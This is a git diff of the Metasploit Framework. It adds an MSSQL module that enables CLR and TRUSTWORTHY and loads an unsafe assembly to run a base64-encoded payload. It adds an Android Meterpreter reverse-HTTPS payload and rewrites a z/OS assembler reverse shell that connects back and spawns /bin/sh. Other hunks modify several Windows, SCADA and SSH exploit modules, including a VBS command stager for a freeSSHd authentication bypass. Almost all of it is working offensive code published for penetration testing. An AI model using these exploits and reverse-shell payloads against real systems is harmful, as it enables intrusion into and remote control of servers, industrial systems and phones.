b/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb index ebf8b5f23c..3dd0997aaa 100644 --- a/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb +++ b/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb @@ -64,7 +64,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'seh', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/mssql/mssql_clr_payload.rb b/modules/exploits/windows/mssql/mssql_clr_payload.rb new file mode 100644 index 0000000000..0a42c5a331 --- /dev/null +++ b/modules/exploits/windows/mssql/mssql_clr_payload.rb @@ -0,0 +1,212 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::MSSQL + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Microsoft SQL Server Clr Stored Procedure Payload Execution', + 'Description' => %q{ + This module executes an arbitrary native payload on a Microsoft SQL + server by loading a custom SQL CLR Assembly into the target SQL + installation, and calling it directly with a base64-encoded payload. + + The module requires working credentials in order to connect directly to the + MSSQL Server. + + This method requires the user to have sufficient privileges to install a custom + SQL CRL DLL, and invoke the custom stored procedure that comes with it. + + This exploit does not leave any binaries on disk. + + Tested on MS SQL Server versions: 2005, 2012, 2016 (all x64). + }, + 'Author' => + [ + 'Lee Christensen', # original idea/research + 'Nathan Kirk', # extra research/blog post + 'OJ Reeves' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'http://sekirkity.com/command-execution-in-sql-server-via-fileless-clr-based-custom-stored-procedure/'] + ], + 'Platform' => 'win', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Targets' => [['Automatic', {}]], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jan 01 1999' + )) + + register_options( + [ + OptString.new('DATABASE', [true, 'The database to load the CLR Assembly into.', 'master']) + ]) + end + + def check + unless mssql_login_datastore(datastore['DATABASE']) + vprint_status('Invalid SQL Server credentials') + return Exploit::CheckCode::Detected + end + + version = get_sql_version_string + + unless version =~ /Server 20(05|08|12|14|16)/ + vprint_status('Unsupported version of SQL Server') + return Exploit::CheckCode::Safe + end + + if mssql_is_sysadmin + vprint_good "User #{datastore['USERNAME']} is a sysadmin" + Exploit::CheckCode::Vulnerable + else + Exploit::CheckCode::Safe + end + ensure + disconnect + end + + def get_sql_version_string + mssql_query("select @@version", false)[:rows].first[0] + end + + def get_sql_architecture(sql_version_string) + if sql_version_string =~ /(64-bit|x64)/i + ARCH_X64 + else + ARCH_X86 + end + end + + def get_exploit_version(sql_version_string) + # keeping it simple at this point. + if sql_version_string =~ /Server (2005|2008|2012)/ + 'v3.5' + else + # assume 2014/2016 at this point. + 'v4.0' + end + end + + def set_trustworthy(on) + mssql_query("ALTER DATABASE [#{datastore['DATABASE']}] SET TRUSTWORTHY #{on ? 'ON' : 'OFF'}", false) + end + + def is_trustworthy + # SQLi in MSF!! OMG! + result = mssql_query("SELECT CASE is_trustworthy_on WHEN 1 THEN 'ON' ELSE 'OFF' END FROM sys.databases WHERE name ='#{datastore['DATABASE']}'", false) + result[:rows][0] == 'ON' + end + + def enable_clr(enable) + query = %Q^ +EXEC sp_configure 'show advanced options', 1; +RECONFIGURE; +EXEC sp_configure 'clr enabled', #{enable ? 1 : 0}; +RECONFIGURE; + ^ + mssql_query(query, false) + end + + def is_clr_enabled + result = mssql_query("SELECT CASE value WHEN 1 THEN 'ON' ELSE 'OFF' END FROM sys.configurations WHERE name = 'clr enabled'", false) + result[:rows][0] == 'ON' + end + + def exploit + unless mssql_login_datastore(datastore['DATABASE']) + fail_with(Failure::BadConfig, 'Unable to login with the given credentials') + end + + unless mssql_is_sysadmin + fail_with(Failure::BadConfig, 'Specified user lacks sufficient permissions') + end + + # This module will only support 'thread' for EXITFUNC + # Bad things happen to SQL otherwise! + unless datastore['EXITFUNC'] == 'thread' + print_warning("Setting EXITFUNC to 'thread' so we don't kill SQL Server") + datastore['EXITFUNC'] = 'thread' + end + + sql_version = get_sql_version_string + vprint_status("Target SQL Version is:\n#{sql_version}") + + sql_arch = get_sql_architecture(sql_version) + unless payload.arch.first == sql_arch + fail_with(Failure::BadConfig, "Target SQL server arch is #{sql_arch}, payload architecture is #{payload.arch.first}") + end + + trustworthy = is_trustworthy + clr_enabled = is_clr_enabled + + unless trustworthy + print_status('Database does not have TRUSTWORTHY setting on, enabling ...') + set_trustworthy(true) + end + + unless clr_enabled + print_status('Database does not have CLR support enabled, enabling ...') + enable_clr(true) + end + + exploit_version = get_exploit_version(sql_version) + print_status("Using version #{exploit_version} of the Payload Assembly") + exploit_file_path = ::File.join(Msf::Config.install_root, 'data', + 'SqlClrPayload', exploit_version, 'SqlClrPayload.dll') + vprint_status("Using #{exploit_file_path}") + + assembly = ::File.read(exploit_file_path) + + # Convert the assembly to the required format for execution of the stored + # procedure to create the custom stored proc + hex_assembly = "0x#{assembly.unpack('H*')[0]}" + asm_name = Rex::Text.rand_text_alpha(rand(4) + 8) + query = "CREATE ASSEMBLY [#{asm_name}] AUTHORIZATION [dbo] FROM #{hex_assembly} WITH PERMISSION_SET = UNSAFE" + + print_status('Adding custom payload assembly ...') + mssql_query(query, false) + + proc_name = Rex::Text.rand_text_alpha(rand(4) + 8) + param_name = Rex::Text.rand_text_alpha(rand(4) + 8) + query = "CREATE PROCEDURE [dbo].[#{proc_name}](@#{param_name} AS NVARCHAR(MAX)) AS EXTERNAL NAME [#{asm_name}].[StoredProcedures].[ExecuteB64Payload]" + + print_status('Exposing payload execution stored procedure ...') + mssql_query(query, false) + + # Generate the base64 encoded payload + b64payload = Rex::Text.encode_base64(payload.encoded) + query = "EXEC [dbo].[#{proc_name}] '#{b64payload}'" + print_status('Executing the payload ...') + mssql_query(query, false) + + print_status('Removing stored procedure ...') + mssql_query("DROP PROCEDURE [dbo].[#{proc_name}]", false) + + print_status('Removing assembly ...') + mssql_query("DROP ASSEMBLY [#{asm_name}]", false) + + unless clr_enabled + print_status('Restoring CLR setting ...') + enable_clr(false) + end + + unless trustworthy + print_status('Restoring Trustworthy setting ...') + set_trustworthy(false) + end + + ensure + disconnect + end + +end diff --git a/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb b/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb index 7eb98360a0..20b75e5f6b 100644 --- a/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb +++ b/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb @@ -43,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/scada/daq_factory_bof.rb b/modules/exploits/windows/scada/daq_factory_bof.rb index dc3b814a0a..95f61cef26 100644 --- a/modules/exploits/windows/scada/daq_factory_bof.rb +++ b/modules/exploits/windows/scada/daq_factory_bof.rb @@ -36,7 +36,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/scada/iconics_webhmi_setactivexguid.rb b/modules/exploits/windows/scada/iconics_webhmi_setactivexguid.rb index 9461c4b2e5..b956075708 100644 --- a/modules/exploits/windows/scada/iconics_webhmi_setactivexguid.rb +++ b/modules/exploits/windows/scada/iconics_webhmi_setactivexguid.rb @@ -43,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => "seh", - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/scada/moxa_mdmtool.rb b/modules/exploits/windows/scada/moxa_mdmtool.rb index d416fd0189..cf80ea00a2 100644 --- a/modules/exploits/windows/scada/moxa_mdmtool.rb +++ b/modules/exploits/windows/scada/moxa_mdmtool.rb @@ -30,7 +30,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'thread', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/scada/scadapro_cmdexe.rb b/modules/exploits/windows/scada/scadapro_cmdexe.rb index 9da0341ab1..cdf1c9f123 100644 --- a/modules/exploits/windows/scada/scadapro_cmdexe.rb +++ b/modules/exploits/windows/scada/scadapro_cmdexe.rb @@ -41,7 +41,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/scada/winlog_runtime.rb b/modules/exploits/windows/scada/winlog_runtime.rb index d7ddb592f7..7d1fce97df 100644 --- a/modules/exploits/windows/scada/winlog_runtime.rb +++ b/modules/exploits/windows/scada/winlog_runtime.rb @@ -33,7 +33,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/smb/psexec.rb b/modules/exploits/windows/smb/psexec.rb index 4b7166c21f..9d7e2152a5 100644 --- a/modules/exploits/windows/smb/psexec.rb +++ b/modules/exploits/windows/smb/psexec.rb @@ -84,7 +84,8 @@ class MetasploitModule < Msf::Exploit::Remote [ OptBool.new('ALLOW_GUEST', [true, "Keep trying if only given guest access", false]), OptString.new('SERVICE_FILENAME', [false, "Filename to to be used on target for the service binary",nil]), - OptString.new('PSH_PATH', [false, 'Path to powershell.exe', 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe']) + OptString.new('PSH_PATH', [false, 'Path to powershell.exe', 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe']), + OptString.new('SERVICE_STUB_ENCODER', [false, "Encoder to use around the service registering stub",nil]) ], self.class) end @@ -163,6 +164,7 @@ class MetasploitModule < Msf::Exploit::Remote end def powershell + ENV['MSF_SERVICENAME'] = datastore['SERVICE_NAME'] command = cmd_psh_payload(payload.encoded, payload_instance.arch.first) if datastore['PSH::persist'] and not datastore['DisablePayloadHandler'] @@ -181,6 +183,7 @@ class MetasploitModule < Msf::Exploit::Remote def native_upload filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe" servicename = datastore['SERVICE_NAME'] || rand_text_alpha(8) + serviceencoder = datastore['SERVICE_STUB_ENCODER'] || '' # Upload the shellcode to a file print_status("Uploading payload...") @@ -202,7 +205,7 @@ class MetasploitModule < Msf::Exploit::Remote fd = smb_open("\\#{filename}", 'rwct') end exe = '' - opts = { :servicename => servicename } + opts = { :servicename => servicename, :serviceencoder => serviceencoder} begin exe = generate_payload_exe_service(opts) diff --git a/modules/exploits/windows/ssh/freesshd_authbypass.rb b/modules/exploits/windows/ssh/freesshd_authbypass.rb index 38c126d06c..5cfa961329 100644 --- a/modules/exploits/windows/ssh/freesshd_authbypass.rb +++ b/modules/exploits/windows/ssh/freesshd_authbypass.rb @@ -9,7 +9,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp - include Msf::Exploit::EXE + include Msf::Exploit::CmdStager def initialize(info={}) super(update_info(info, @@ -80,24 +80,8 @@ class MetasploitModule < Msf::Exploit::Remote end - def upload_payload(connection) - exe = generate_payload_exe - filename = rand_text_alpha(8) + ".exe" - cmdstager = Rex::Exploitation::CmdStagerVBS.new(exe) - opts = { - :linemax => 1700, - :decoder => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64"), - } - - cmds = cmdstager.generate(opts) - - if (cmds.nil? or cmds.length < 1) - print_error("The command stager could not be generated") - raise ArgumentError - end - cmds.each { |cmd| - connection.exec!("cmd.exe /c "+cmd) - } + def execute_command(cmd, opts = {}) + @connection.exec!("cmd.exe /c "+cmd) end def setup_ssh_options @@ -167,18 +151,17 @@ class MetasploitModule < Msf::Exploit::Remote options = setup_ssh_options - connection = nil + @connection = nil each_user do |username| next if username.empty? - connection=do_login(username,options) - break if connection + @connection=do_login(username,options) + break if @connection end - if connection + if @connection print_status("Uploading payload, this may take several minutes...") - upload_payload(connection) - handler + execute_cmdstager(flavor: :vbs, decoder: default_decoder(:vbs), linemax: 1700) end end diff --git a/modules/payloads/singles/android/meterpreter_reverse_https.rb b/modules/payloads/singles/android/meterpreter_reverse_https.rb new file mode 100644 index 0000000000..b402be77a6 --- /dev/null +++ b/modules/payloads/singles/android/meterpreter_reverse_https.rb @@ -0,0 +1,54 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/reverse_https' +require 'msf/core/payload/transport_config' +require 'msf/core/payload/android' +require 'msf/core/payload/uuid/options' +require 'msf/base/sessions/meterpreter_android' +require 'msf/base/sessions/meterpreter_options' +require 'rex/payloads/meterpreter/config' + +module MetasploitModule + + CachedSize = :dynamic + + include Msf::Payload::TransportConfig + include Msf::Payload::Single + include Msf::Payload::Android + include Msf::Payload::UUID::Options + include Msf::Sessions::MeterpreterOptions + + + def initialize(info = {}) + + super(merge_info(info, + 'Name' => 'Android Meterpreter Shell, Reverse HTTPS Inline', + 'Description' => 'Connect back to attacker and spawn a Meterpreter shell', + 'License' => MSF_LICENSE, + 'Platform' => 'android', + 'Arch' => ARCH_DALVIK, + 'Handler' => Msf::Handler::ReverseHttps, + 'Session' => Msf::Sessions::Meterpreter_Java_Android, + 'Payload' => '', + )) + end + + # + # Generate the transport-specific configuration + # + def transport_config(opts={}) + transport_config_reverse_https(opts) + end + + def generate_jar(opts={}) + uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length)) + opts[:uri] = generate_uri_uuid_mode(:connect, uri_req_len) + opts[:stageless] = true + super(opts) + end + +end diff --git a/modules/payloads/singles/cmd/mainframe/reverse_shell_jcl.rb b/modules/payloads/singles/cmd/mainframe/reverse_shell_jcl.rb index d4f0ef730f..376bc635cd 100644 --- a/modules/payloads/singles/cmd/mainframe/reverse_shell_jcl.rb +++ b/modules/payloads/singles/cmd/mainframe/reverse_shell_jcl.rb @@ -14,7 +14,7 @@ require 'msf/base/sessions/mainframe_shell' require 'msf/base/sessions/command_shell_options' module MetasploitModule - CachedSize = 9048 + CachedSize = 9973 include Msf::Payload::Single include Msf::Payload::Mainframe include Msf::Sessions::CommandShellOptions @@ -82,187 +82,240 @@ module MetasploitModule jcl_jobcard + "//**************************************/\n" \ - "//* Generates reverse shell */\n" \ + "//* SPAWN REV SHELL FOR MSF MODULE */\n" \ "//**************************************/\n" \ + "//* final load module name here\n" \ + "//SET1 SET PGMN=SPAWNREV\n" \ "//*\n" \ - "//STEP1 EXEC PROC=ASMACLG\n" \ - "//SYSPRINT DD SYSOUT=*,HOLD=YES\n" \ - "//SYSIN DD *,DLM=ZZ\n" \ - " TITLE 'z/os Reverse Shell'\n" \ - "NEWREV CSECT\n" \ - "NEWREV AMODE 31\n" \ - "NEWREV RMODE 31\n" \ + "//STEP1 EXEC PROC=ASMACLG,PARM.L=(CALL)\n" \ + "//L.SYSLIB DD DSN=SYS1.CSSLIB,DISP=SHR\n" \ + "//C.SYSIN DD *,DLM=ZZ\n" \ + " TITLE 'spaw rev shell non exec'\n" \ + "SPAWNREV CSECT\n" \ + "SPAWNREV AMODE 31\n" \ + "SPAWNREV RMODE ANY\n" \ "***********************************************************************\n" \ - "* SETUP registers and save areas *\n" \ + "* @SETUP registers and save areas *\n" \ "***********************************************************************\n" \ - "MAIN LR 7,15 # R7 is base register\n" \ - " NILH 7,X'1FFF' # ensure local address\n" \ - " USING MAIN,0 # R8 for addressability\n" \ + " USING *,15\n" \ + "@SETUP0 B @SETUP1\n" \ + " DROP 15\n" \ + " DS 0H # half word boundary\n" \ + "@SETUP1 STM 14,12,12(13) # save our registers\n" \ + " LR 2,13 # callers sa\n" \ + " LR 8,15 # pgm base in R8\n" \ + " USING @SETUP0,8 # R8 for base addressability\n" \ + "*************************************\n" \ + "* set up data area / addressability *\n" \ + "*************************************\n" \ + "*\n" \ + " L 0,@DYNSIZE # len of variable area\n" \ + " GETMAIN RU,LV=(0) # get data stg, len R0\n" \ + " LR 13,1 # data address\n" \ + " USING @DATA,13 # addressability for data area\n" \ + "* XC @DATA(@DATA#LEN),@DATA # zero data area\n" \ + " ST 2,@BACK # store callers sa address\n" \ + " ST 13,8(,2) # store our data addr\n" \ + "*************************************\n" \ + "* set up INHE area / addressability *\n" \ + "*************************************\n" \ + "*\n" \ + "* L 0,=A(INHE#LENGTH) # length of INHE macro\n" \ + "* GETMAIN RU,LV=(0) # get stg for inhe macro\n" \ + "* ST 1,@CONSA # save addr inhe macro stg\n" \ + "* LR 5,1 # R5 has INHE struct address\n" \ + "* USING INHE,5 # addressability for INHE\n" \ " DS 0H # halfword boundaries\n" \ - " LA 1,ZEROES(7) # address byond which should be all 0s\n" \ - " XC 0(204,1),0(1) # clear zero area\n" \ - " LA 13,SAVEAREA(7) # address of save area\n" \ - " LHI 8,8 # R8 has static 8\n" \ - " LHI 9,1 # R9 has static 1\n" \ - " LHI 10,2 # R10 has static 2\n" \ + "***********************************************************************\n" \ + "* BPX1SOC set up socket - inline *\n" \ + "***********************************************************************\n" \ + " CALL BPX1SOC, X\n" \ + " (DOM,TYPE,PROTO,DIM,CLIFD, X\n" \ + " RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \ + "*******************************\n" \ + "* chk return code, 0 or exit *\n" \ + "*******************************\n" \ + " LHI 15,2\n" \ + " L 6,RTN_VAL\n" \ + " CIB 6,0,7,EXITP # R6 not 0? Time to exit\n" \ "\n" \ "***********************************************************************\n" \ - "* BPX1SOC set up socket *\n" \ + "* BPX1CON (connect) connect to remote host - inline *\n" \ "***********************************************************************\n" \ - "BSOC LA 0,@@F1(7) # USS callable svcs socket\n" \ - " LA 3,8 # n parms\n" \ - " LA 5,DOM(7) # Relative addr of First parm\n" \ - " ST 10,DOM(7) # store a 2 for AF_INET\n" \ - " ST 9,TYPE(7) # store a 1 for sock_stream\n" \ - " ST 9,DIM(7) # store a 1 for dim_sock\n" \ - " LA 15,CLORUN(7) # address of generic load & run\n" \ - " BASR 14,15 # Branch to load & run\n" \ - "\n" \ - "***********************************************************************\n" \ - "* BPX1CON (connect) connect to rmt host *\n" \ - "***********************************************************************\n" \ - "BCON L 5,CLIFD(7) # address of client file descriptor\n" \ - " ST 5,CLIFD2(7) # store for connection call\n" \ - "*** main processing **\n" \ - " LA 1,SSTR(7) # packed socket string\n" \ - " LA 5,CLIFD2(7) # dest for our sock str\n" \ - " MVC 7(9,5),0(1) # mv packed skt str to parm array\n" \ - " LA 0,@@F2(7) # USS callable svcs connect\n" \ - " LA 3,6 # n parms for func call\n" \ - " LA 5,CLIFD2(7) # src parm list addr\n" \ - " LA 15,CLORUN(7) # address of generic load & run\n" \ - " BASR 14,15 # Branch to load & run\n" \ + " XC SOCKADDR(16),SOCKADDR # zero sock addr struct\n" \ + " MVI SOCK_FAMILY,AF_INET # family inet\n" \ + " MVI SOCK_LEN,SOCK#LEN # len of socket\n" \ + " MVC SOCK_SIN_PORT,CONNSOCK # port to connect to\n" \ + " MVC SOCK_SIN_ADDR,CONNADDR # address to connect to\n" \ + " CALL BPX1CON, X\n" \ + " (CLIFD,SOCKLEN,SOCKADDR, X\n" \ + " RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \ + "*******************************\n" \ + "* chk return code, 0 or exit *\n" \ + "*******************************\n" \ + " LHI 15,3\n" \ + " L 6,RTN_VAL\n" \ + " CIB 6,0,7,EXITP # R6 not 0? Time to exit\n" \ "\n" \ "*************************************************\n" \ - "* Preparte the child pid we'll spawn *\n" \ + "* order of things to prep child pid *\n" \ "* 0) Dupe all 3 file desc of CLIFD *\n" \ "* 1) dupe parent read fd to std input *\n" \ "*************************************************\n" \ - " LHI 11,2 # Loop Counter R11=2\n" \ - "@LOOP1 BRC 15,LFCNTL # call FCNTL for each FD(in,out,err)\n" \ - "@RET1 AHI 11,-1 # Decrement R11\n" \ - " CIJ 11,-1,7,@LOOP1 # if R11 >= 0, loop\n" \ + "*******************\n" \ + "***** STDIN *****\n" \ + "*******************\n" \ + " CALL BPX1FCT, X\n" \ + " (CLIFD, X\n" \ + " =A(F_DUPFD2), X\n" \ + " =A(F_STDI), X\n" \ + " RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \ + "****************************************************\n" \ + "* chk return code here anything but -1 is ok *\n" \ + "****************************************************\n" \ + " LHI 15,11 # exit code for this func\n" \ + " L 7,RTN_VAL # set r7 to rtn val\n" \ + " CIB 7,-1,8,EXITP # r6 = -1 exit\n" \ + "*******************\n" \ + "***** STDOUT *****\n" \ + "*******************\n" \ + " CALL BPX1FCT, X\n" \ + " (CLIFD, X\n" \ + " =A(F_DUPFD2), X\n" \ + " =A(F_STDO), X\n" \ + " RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \ + "****************************************************\n" \ + "* chk return code here anything but -1 is ok *\n" \ + "****************************************************\n" \ + " LHI 15,11 # exit code for this func\n" \ + " L 7,RTN_VAL # set r7 to rtn val\n" \ + " CIB 7,-1,8,EXITP # r6 = -1 exit\n" \ + "*******************\n" \ + "***** STDERR *****\n" \ + "*******************\n" \ + " CALL BPX1FCT, X\n" \ + " (CLIFD, X\n" \ + " =A(F_DUPFD2), X\n" \ + " =A(F_STDE), X\n" \ + " RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \ + "****************************************************\n" \ + "* chk return code here anything but -1 is ok *\n" \ + "****************************************************\n" \ + " LHI 15,11 # exit code for this func\n" \ + " L 7,RTN_VAL # set r7 to rtn val\n" \ + " CIB 7,-1,8,EXITP # r7 = -1 exit\n" \ + "***********************************************************************\n" \ + "* BP1SPN (SPAWN) execute shell '/bin/sh' *\n" \ + "***********************************************************************\n" \ + "******\n" \ + "******\n" \ + " XC INHE(INHE#LENGTH),INHE # clear inhe structure\n" \ + " XI INHEFLAGS0,INHESETPGROUP\n" \ + " SPACE ,\n" \ + " MVC INHEEYE,=C'INHE'\n" \ + " LH 0,TLEN\n" \ + " STH 0,INHELENGTH\n" \ + " LH 0,TVER\n" \ + " STH 0,INHEVERSION\n" \ + " CALL BPX1SPN, X\n" \ + " (EXCMDL,EXCMD,EXARGC,EXARGLL,EXARGL,EXENVC,EXENVLL, X\n" \ + " EXENVL,FDCNT,FDLST,=A(INHE#LENGTH),INHE,RTN_VAL, X\n" \ + " RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \ + " LHI 15,12 # exit code for this func\n" \ + " L 7,RTN_VAL # set r7 to rtn val\n" \ + " L 6,RTN_COD\n" \ + " L 5,RSN_COD\n" \ + " CIB 7,-1,8,EXITP # r7 = -1 exit\n" \ "\n" \ - "***********************************************************************\n" \ - "* BPX1EXC (exec) execute /bin/sh *\n" \ - "***********************************************************************\n" \ - "LEXEC LA 1,EXCPRM1(7) # top of arg list\n" \ - "******************************************\n" \ - "**** load array of addr and constants ***\n" \ - "******************************************\n" \ - " ST 10,EXARG1L(7) # arg 1 len is 2\n" \ - " LA 2,EXARG1L(7) # addr of len of arg1\n" \ - " ST 2,16(0,1) # arg4 Addr of Arg Len Addrs\n" \ - " LA 2,EXARG1(7) # addr of arg1\n" \ - " ST 2,20(0,1) # arg5 Addr of Arg Addrs\n" \ - " ST 9,EXARGC(7) # store 1 in ARG Count\n" \ - "**************************************************************\n" \ - "*** call the exec function the normal way ********************\n" \ - "**************************************************************\n" \ - " LA 0,@@EX1(7) # USS callable svcs EXEC\n" \ - " LA 3,13 # n parms\n" \ - " LA 5,EXCPRM1(7) # src parm list addr\n" \ - " LA 15,CLORUN(7) # address of generic load & run\n" \ - " BASR 14,15 # Branch to load & run\n" \ + "****************************************************\n" \ + "* cleanup & exit *\n" \ + "* preload R15 with exit code *\n" \ + "****************************************************\n" \ + "GOODX XR 15,15 # 4 FOR rc\n" \ + "* L 0,=A(INHE#LENGTH)\n" \ + "* L 5,@INHEA\n" \ + "* DROP 5\n" \ + "* FREEMAIN RU,LV=(0),A=(5) #free storage\n" \ + "EXITP L 0,@DYNSIZE\n" \ + " LR 1,13\n" \ + " L 13,@BACK\n" \ + " DROP 13\n" \ + " FREEMAIN RU,LV=(0),A=(1) #free storage\n" \ + " XR 15,15\n" \ + " L 14,12(,13) # load R14\n" \ + " LM 0,12,20(13) # load 0-12\n" \ + " BSM 0,14 # branch to caller\n" \ "\n" \ - "***********************************************************************\n" \ - "*** BPX1FCT (fnctl) Edit our file descriptor **************************\n" \ - "***********************************************************************\n" \ - "LFCNTL LA 0,@@FC1(7) # USS callable svcs FNCTL\n" \ - " ST 8,@ACT(7) # 8 is our dupe2 action\n" \ - " L 5,CLIFD(7) # client file descriptor\n" \ - " ST 5,@FFD(7) # store as fnctl argument\n" \ - " ST 11,@ARG(7) # fd to clone\n" \ - " LA 3,6 # n parms\n" \ - " LA 5,@FFD(7) # src parm list addr\n" \ - " LA 15,CLORUN(7) # address of generic load & run\n" \ - " BASR 14,15 # Branch to load & run\n" \ - " BRC 15,@RET1 # Return to caller\n" \ - "\n" \ - "***********************************************************************\n" \ - "* LOAD and run R0=func name, R3=n parms *\n" \ - "* R5 = src parm list *\n" \ - "***********************************************************************\n" \ - "CLORUN ST 14,8(,13) # store ret address\n" \ - " XR 1,1 # zero R1\n" \ - " SVC 8 # get func call addr for R0\n" \ - " ST 0,12(13) # Store returned addr in our SA\n" \ - " L 15,12(13) # Load func addr into R15\n" \ - " LHI 6,20 # offset from SA of first parm\n" \ - " LA 1,0(6,13) # start of dest parm list\n" \ - "@LOOP2 ST 5,0(6,13) # store parms address in parm\n" \ - " AHI 3,-1 # decrement # parm\n" \ - " CIJ 3,11,8,@FIX # haky fix for EXEC func\n" \ - "@RETX AHI 6,4 # increment dest parm addr\n" \ - " AHI 5,4 # increment src parm addr\n" \ - " CIJ 3,0,7,@LOOP2 # loop until R3 = 0\n" \ - " LA 5,0(6,13)\n" \ - " AHI 5,-4\n" \ - " OI 0(5),X'80' # last parm first bit high\n" \ - "@FIN1 BALR 14,15 # call function\n" \ - " L 14,8(,13) # set up return address\n" \ - " BCR 15,14 # return to caller\n" \ - "@FIX AHI 5,4 # need extra byte skipped for exec\n" \ - " BRC 15,@RETX\n" \ - "\n" \ - "***********************************************************************\n" \ - "* Arg Arrays, Constants and Save Area *\n" \ - "***********************************************************************\n" \ - " DS 0F\n" \ - "*************************\n" \ - "**** Func Names ****\n" \ - "*************************\n" \ - "@@F1 DC CL8'BPX1SOC '\n" \ - "@@F2 DC CL8'BPX1CON '\n" \ - "@@EX1 DC CL8'BPX1EXC ' # callable svcs name\n" \ - "@@FC1 DC CL8'BPX1FCT '\n" \ - "* # BPX1EXC Constants\n" \ - "EXARG1 DC CL2'sh' # arg 1 to exec\n" \ - "* # BPX1CON Constants\n" \ - "SSTR DC X'100202#{lport}#{lhost}'\n" \ - "* # BPX1EXC Arguments\n" \ - "EXCPRM1 DS 0F # actual parm list of exec call\n" \ - "EXCMDL DC F'7' # len of cmd to exec\n" \ - "EXCMD DC CL7'/bin/sh' # command to exec\n" \ - "*********************************************************************\n" \ - "******* Below this line is filled in runtime, but at compile ********\n" \ - "******* is all zeroes, so it can be dropped from the shell- *********\n" \ - "******* code as it will be dynamically added back and the ***********\n" \ - "******* offsets are already calulated in the code *******************\n" \ - "*********************************************************************\n" \ - "ZEROES DS 0F # 51 4 byte slots\n" \ - "EXARGC DC F'0' # num of arguments\n" \ - "EXARGS DC 10XL4'00000000' # reminaing exec args\n" \ - "EXARG1L DC F'0' # arg1 length\n" \ - "* # BPX1FCT Arguments\n" \ - "@FFD DC F'0' # file descriptor\n" \ - "@ACT DC F'0' # fnctl action\n" \ - "@ARG DC F'0' # argument to fnctl\n" \ - "@RETFD DC F'0' # fd return\n" \ - "FR1 DC F'0' # rtn code\n" \ - "FR2 DC F'0' # rsn code\n" \ - "* # BPX1SOC Arguments\n" \ - "DOM DC F'0' # AF_INET = 2\n" \ - "TYPE DC F'0' # sock stream = 1\n" \ - "PROTO DC F'0' # protocol ip = 0\n" \ - "DIM DC F'0' # dim_sock = 1\n" \ - "CLIFD DC F'0' # client file descriptor\n" \ - "SR1 DC F'0' # rtn val\n" \ - "SR2 DC F'0' # rtn code\n" \ - "SR3 DC F'0' # rsn code\n" \ - "* # BPX1CON Arguments\n" \ - "CLIFD2 DC F'0' # CLIFD\n" \ - "SOCKLEN DC F'0' # length of Sock Struct\n" \ - "SRVSKT DC XL2'0000' # srv socket struct\n" \ - " DC XL2'0000' # port\n" \ - " DC XL4'00000000' # RHOST 0.0.0.0\n" \ - "CR1 DC F'0' # rtn val\n" \ - "CR2 DC F'0' # rtn code\n" \ - "CR3 DC F'0' # rsn code\n" \ - "SAVEAREA DC 18XL4'00000000' # save area for pgm mgmt\n" \ - "EOFMARK DC X'deadbeef' # eopgm marker for shellcode\n" \ - " END MAIN\n" \ - "ZZ\n" \ - "//*\n" + 